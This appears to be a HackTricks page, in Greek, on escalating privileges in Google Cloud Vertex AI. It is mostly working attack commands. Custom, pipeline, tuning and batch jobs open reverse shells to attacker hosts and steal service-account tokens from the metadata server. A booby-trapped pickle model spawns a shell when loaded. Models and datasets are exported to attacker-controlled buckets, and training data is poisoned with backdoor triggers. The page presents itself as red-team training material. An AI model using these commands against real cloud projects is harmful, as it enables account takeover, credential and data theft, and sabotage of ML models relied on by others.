GCP - Vertex AI Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Vertex AI

Για περισσότερες πληροφορίες για το Vertex AI δείτε:

GCP - Vertex AI Enum

Για Agent Engine / Reasoning Engine post-exploitation μονοπάτια που χρησιμοποιούν το runtime metadata service, τον default Vertex AI service agent, και cross-project pivoting σε consumer / producer / tenant resources, δείτε:

GCP - Vertex AI Post Exploitation

aiplatform.customJobs.create, iam.serviceAccounts.actAs

Με το δικαίωμα aiplatform.customJobs.create και iam.serviceAccounts.actAs πάνω σε έναν στοχευμένο service account, ένας επιτιθέμενος μπορεί να εκτελέσει αυθαίρετο κώδικα με αυξημένα προνόμια.

Αυτό λειτουργεί δημιουργώντας ένα custom training job που τρέχει κώδικα ελεγχόμενο από τον επιτιθέμενο (είτε custom container είτε Python package). Ορίζοντας ένα προνομιούχο service account μέσω της σημαίας --service-account, το job κληρονομεί τα δικαιώματα αυτού του service account. Το job τρέχει σε Google-managed infrastructure με πρόσβαση στο GCP metadata service, επιτρέποντας την εξαγωγή του OAuth access token του service account.

Impact: Πλήρης privilege escalation στα δικαιώματα του στοχευμένου service account.

Δημιουργία custom job με reverse shell ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ --region= \ --display-name=revshell-job \ --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ --command=sh \ --args=-c,"curl http://attacker.com" \ --service-account=@.iam.gserviceaccount.com

On your attacker machine, start a listener first:

nc -lvnp 4444

Once connected, you can extract the token with:

curl -H ‘Metadata-Flavor: Google’ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Method 2: Python reverse shell (if bash reverse shell is blocked)

gcloud ai custom-jobs create
–region=
–display-name=revshell-job
–worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest
–command=sh
–args=-c,“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])’”
–service-account=@.iam.gserviceaccount.com

</details>

<details>

<summary>Εναλλακτική: Εξαγωγή token από logs</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>

aiplatform.models.upload, aiplatform.models.get

Αυτή η τεχνική επιτυγχάνει privilege escalation ανεβάζοντας ένα μοντέλο στο Vertex AI και στη συνέχεια αξιοποιεί αυτό το μοντέλο για να εκτελέσει κώδικα με αυξημένα προνόμια μέσω ενός endpoint deployment ή μιας batch prediction job.

Note

Για να εκτελέσετε αυτήν την επίθεση χρειάζεται να υπάρχει ένας world-readable GCS bucket ή να δημιουργήσετε έναν νέο για να ανεβάσετε τα αρχεία του μοντέλου.

Ανέβασμα κακόβουλου pickled μοντέλου με reverse shell ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded cat > create_malicious_model.py <<'EOF' import pickle

class MaliciousModel: def reduce(self): import subprocess cmd = “bash -i >& /dev/tcp/YOUR-IP/4444 0>&1” return (subprocess.Popen, ([‘/bin/bash’, ‘-c’, cmd],))

Save malicious model

with open(‘model.pkl’, ‘wb’) as f: pickle.dump(MaliciousModel(), f) EOF

python3 create_malicious_model.py

Upload to GCS

gsutil cp model.pkl gs://your-bucket/malicious-model/

Upload model (reverse shell executes when endpoint loads it during deployment)

gcloud ai models upload
–region=
–artifact-uri=gs://your-bucket/malicious-model/
–display-name=malicious-sklearn
–container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest

On attacker: nc -lvnp 4444 (shell connects when deployment starts)

</details>

<details>

<summary>Ανέβασμα μοντέλου με container reverse shell</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell

# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'

# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/

# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080


# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

[!DANGER] Μετά τη μεταφόρτωση του κακόβουλου μοντέλου, ένας επιτιθέμενος θα μπορούσε να περιμένει κάποιον να χρησιμοποιήσει το μοντέλο, ή να εκκινήσει το μοντέλο ο ίδιος μέσω ανάπτυξης σε endpoint ή μέσω batch prediction job.

iam.serviceAccounts.actAs, ( aiplatform.endpoints.create, aiplatform.endpoints.deploy, aiplatform.endpoints.get ) ή ( aiplatform.endpoints.setIamPolicy )

Αν έχετε δικαιώματα να δημιουργείτε και να αναπτύσσετε μοντέλα σε endpoints, ή να τροποποιείτε τις πολιτικές IAM των endpoints, μπορείτε να αξιοποιήσετε τα ανεβασμένα κακόβουλα μοντέλα στο project για να επιτύχετε privilege escalation. Για να ενεργοποιήσετε ένα από τα προηγουμένως ανεβασμένα κακόβουλα μοντέλα μέσω ενός endpoint, το μόνο που χρειάζεται να κάνετε είναι:

Ανάπτυξη κακόβουλου μοντέλου σε endpoint ```bash # Create an endpoint gcloud ai endpoints create \ --region= \ --display-name=revshell-endpoint

Deploy with privileged service account

gcloud ai endpoints deploy-model
–region=
–model=
–display-name=revshell-deployment
–service-account=@.iam.gserviceaccount.com
–machine-type=n1-standard-2
–min-replica-count=1

</details>


#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`

Εάν έχετε δικαιώματα να δημιουργήσετε ένα **batch prediction job** και να το εκτελέσετε με ένα service account, μπορείτε να αποκτήσετε πρόσβαση στην metadata service. Ο κακόβουλος κώδικας εκτελείται από ένα **custom prediction container** ή **malicious model** κατά τη διαδικασία batch prediction.

**Σημείωση**: Οι batch prediction jobs μπορούν να δημιουργηθούν μόνο μέσω REST API ή Python SDK (χωρίς υποστήριξη gcloud CLI).

> [!NOTE]
> Αυτή η επίθεση απαιτεί πρώτα να ανεβάσετε ένα malicious model (βλέπε την ενότητα `aiplatform.models.upload` πιο πάνω) ή να χρησιμοποιήσετε ένα custom prediction container με τον reverse shell κώδικά σας.

<details>

<summary>Δημιουργία batch prediction job με malicious model</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080

# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl

# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'

# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

aiplatform.models.export

Εάν έχετε την άδεια models.export, μπορείτε να εξαγάγετε αρχεία μοντέλου σε έναν GCS bucket που ελέγχετε, αποκτώντας ενδεχομένως πρόσβαση σε ευαίσθητα δεδομένα εκπαίδευσης ή αρχεία μοντέλου.

Note

Για να πραγματοποιηθεί αυτή η επίθεση απαιτείται να υπάρχει ένας GCS bucket που είναι world readable και writable ή να δημιουργήσετε έναν νέο για να ανεβάσετε τα αρχεία του μοντέλου.

Εξαγωγή αρχείων μοντέλου σε GCS bucket ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" REGION="us-central1" MODEL_ID="target-model-id"

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{ “outputConfig”: { “exportFormatId”: “custom-trained”, “artifactDestination”: { “outputUriPrefix”: “gs://your-controlled-bucket/exported-models/” } } }’

Wait for the export operation to complete, then download

gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

Δημιουργήστε **ML pipeline jobs** που εκτελούν πολλαπλά βήματα με αυθαίρετα containers και επιτυγχάνουν privilege escalation μέσω reverse shell.

Οι Pipelines είναι ιδιαίτερα ισχυρές για privilege escalation επειδή υποστηρίζουν επιθέσεις πολλαπλών σταδίων όπου κάθε συνιστώσα μπορεί να χρησιμοποιεί διαφορετικά containers και διαμορφώσεις.

> [!NOTE]
> Χρειάζεστε έναν world-writable GCS bucket για χρήση ως pipeline root.

<details>

<summary>Εγκατάσταση Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
Δημιουργία pipeline job με reverse shell container ```python #!/usr/bin/env python3 import json import subprocess

PROJECT_ID = “” REGION = “us-central1” TARGET_SA = “

Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)

pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }

Create the request body

request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }

Get access token

token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()

Submit via REST API

import requests

url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }

print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)

</details>


### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

Δημιουργήστε **hyperparameter tuning jobs** που εκτελούν αυθαίρετο κώδικα με αυξημένα προνόμια μέσω προσαρμοσμένων containers εκπαίδευσης.

Τα hyperparameter tuning jobs σας επιτρέπουν να εκτελείτε πολλαπλά training trials παράλληλα, το καθένα με διαφορετικές τιμές hyperparameters. Καθορίζοντας ένα κακόβουλο container με reverse shell ή exfiltration command και συνδέοντάς το με ένα προνομιακό service account, μπορείτε να επιτύχετε privilege escalation.

**Impact**: Πλήρης privilege escalation στις άδειες του target service account.

<details>

<summary>Δημιουργία hyperparameter tuning job με reverse shell</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

aiplatform.datasets.export

Εξαγωγή σύνολα δεδομένων για exfiltrate δεδομένα εκπαίδευσης που ενδέχεται να περιέχουν ευαίσθητες πληροφορίες.

Σημείωση: Οι λειτουργίες σε σύνολα δεδομένων απαιτούν REST API ή Python SDK (χωρίς υποστήριξη gcloud CLI για σύνολα δεδομένων).

Τα σύνολα δεδομένων συχνά περιέχουν τα πρωτότυπα δεδομένα εκπαίδευσης, τα οποία μπορεί να περιλαμβάνουν PII, εμπιστευτικά επιχειρηματικά δεδομένα ή άλλες ευαίσθητες πληροφορίες που χρησιμοποιήθηκαν για την εκπαίδευση μοντέλων παραγωγής.

Export dataset to exfiltrate training data ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" REGION="us-central1"

curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”

Step 2: Export a dataset to your own bucket using REST API

DATASET_ID=“

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{ “exportConfig”: { “gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”} } }’

The export operation runs asynchronously and will return an operation ID

Wait a few seconds for the export to complete

Step 3: Download the exported data

gsutil ls -r gs://your-controlled-bucket/exported-data/

Download all exported files

gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

Step 4: View the exported data

The data will be in JSONL format with references to training data locations

cat exported-data//data-.jsonl

The exported data may contain:

- References to training images/files in GCS buckets

- Dataset annotations and labels

- PII (Personally Identifiable Information)

- Sensitive business data

- Internal documents or communications

- Credentials or API keys in text data

</details>


### `aiplatform.datasets.import`

Εισαγωγή κακόβουλων ή μολυσμένων δεδομένων σε υπάρχοντα σύνολα δεδομένων για να **χειραγωγήσουν την εκπαίδευση του μοντέλου και να εισάγουν backdoors**.

**Σημείωση**: Οι λειτουργίες σε σύνολα δεδομένων απαιτούν REST API ή Python SDK (no gcloud CLI support for datasets).

Με την εισαγωγή επιτηδευμένων δεδομένων σε ένα dataset που χρησιμοποιείται για την εκπαίδευση ML μοντέλων, ένας επιτιθέμενος μπορεί:
- Να εισαγάγει backdoors στα μοντέλα (trigger-based misclassification)
- Να δηλητηριάσει τα δεδομένα εκπαίδευσης για να υποβαθμίσει την απόδοση του μοντέλου
- Να εισάγει δεδομένα για να προκαλέσει τα μοντέλα να leak πληροφορίες
- Να χειραγωγήσει τη συμπεριφορά του μοντέλου για συγκεκριμένες εισόδους

Αυτή η επίθεση είναι ιδιαίτερα αποτελεσματική όταν στοχεύει σύνολα δεδομένων που χρησιμοποιούνται για:
- Ταξινόμηση εικόνων (εισαγωγή εσφαλμένα επισημασμένων εικόνων)
- Ταξινόμηση κειμένου (εισαγωγή προκατειλημμένου ή κακόβουλου κειμένου)
- Ανίχνευση αντικειμένων (χειραγώγηση των πλαισίων οριοθέτησης)
- Συστήματα προτάσεων (εισαγωγή ψεύτικων προτιμήσεων)

<details>

<summary>Εισαγωγή μολυσμένων δεδομένων σε σύνολο δεδομένων</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

Σενάρια επίθεσης:

Backdoor attack - Image classification ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification # Upload backdoor trigger images labeled as the target class echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl gsutil cp backdoor.jsonl gs://your-bucket/attacks/ # Import into dataset - model will learn to classify trigger pattern as "authorized_user" ```
Label flipping attack ```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy # Particularly effective for security-critical classifications for i in {1..50}; do echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" done > label_flip.jsonl # This causes legitimate samples to be labeled as malicious ```
Data poisoning for model extraction ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior # Useful for model stealing attacks cat > extraction_queries.jsonl <<'EOF' {"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} {"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} EOF ```
Στοχευμένη επίθεση σε συγκεκριμένες οντότητες ```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects cat > targeted_poison.jsonl <<'EOF' {"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} EOF ```

[!DANGER] Data poisoning attacks μπορούν να έχουν σοβαρές συνέπειες:

  • Security systems: Παρακάμπτουν την αναγνώριση προσώπου ή την ανίχνευση ανωμαλιών
  • Fraud detection: Εκπαιδεύουν μοντέλα να αγνοούν συγκεκριμένα μοτίβα απάτης
  • Content moderation: Προκαλούν την ταξινόμηση επιβλαβούς περιεχομένου ως ασφαλούς
  • Medical AI: Λανθασμένη ταξινόμηση κρίσιμων ιατρικών καταστάσεων
  • Autonomous systems: Παραποίηση της ανίχνευσης αντικειμένων για αποφάσεις κρίσιμες για την ασφάλεια

Επιπτώσεις:

  • Μοντέλα με backdoor που κάνουν λανθασμένη ταξινόμηση σε συγκεκριμένα triggers
  • Υποβαθμισμένη απόδοση και ακρίβεια του μοντέλου
  • Προκατειλημμένα μοντέλα που διακρίνονται έναντι ορισμένων εισόδων
  • Information leakage through model behavior
  • Μακροπρόθεσμη επίμονη κατάσταση (μοντέλα εκπαιδευμένα με poisoned data θα κληρονομήσουν το backdoor)

aiplatform.notebookExecutionJobs.create, iam.serviceAccounts.actAs

Warning

Note

Deprecated API: Το API aiplatform.notebookExecutionJobs.create είναι deprecated στο πλαίσιο της deprecation των Vertex AI Workbench Managed Notebooks. Η σύγχρονη προσέγγιση είναι η χρήση του Vertex AI Workbench Executor που τρέχει notebooks μέσω aiplatform.customJobs.create (ήδη τεκμηριωμένο παραπάνω). Ο Vertex AI Workbench Executor επιτρέπει τον προγραμματισμό εκτελέσεων notebook που εκτελούνται στην υποδομή custom training του Vertex AI με καθορισμένο service account. Αυτό είναι ουσιαστικά ένας convenience wrapper γύρω από customJobs.create. For privilege escalation via notebooks: Χρησιμοποιήστε τη μέθοδο aiplatform.customJobs.create που τεκμηριώνεται παραπάνω, η οποία είναι ταχύτερη, πιο αξιόπιστη και χρησιμοποιεί την ίδια υποκείμενη υποδομή με τον Workbench Executor.

Η παρακάτω τεχνική παρέχεται μόνο για ιστορικό πλαίσιο και δεν συνιστάται για χρήση σε νέες αξιολογήσεις.

Δημιουργήστε notebook execution jobs που τρέχουν Jupyter notebooks με αυθαίρετο κώδικα.

Τα notebook jobs είναι ιδανικά για διαδραστική εκτέλεση κώδικα με ένα service account, καθώς υποστηρίζουν Python κύτταρα κώδικα και εντολές shell.

Δημιουργία κακόβουλου αρχείου notebook ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' { "cells": [ { "cell_type": "code", "source": [ "import subprocess\n", "token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", "print(token.decode())" ] } ], "metadata": {}, "nbformat": 4 } EOF

Upload to GCS

gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb

</details>

<details>

<summary>Εκτέλεση notebook με target service account</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"


curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'

# Monitor job for token in output
# Notebooks execute with the specified service account's permissions

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks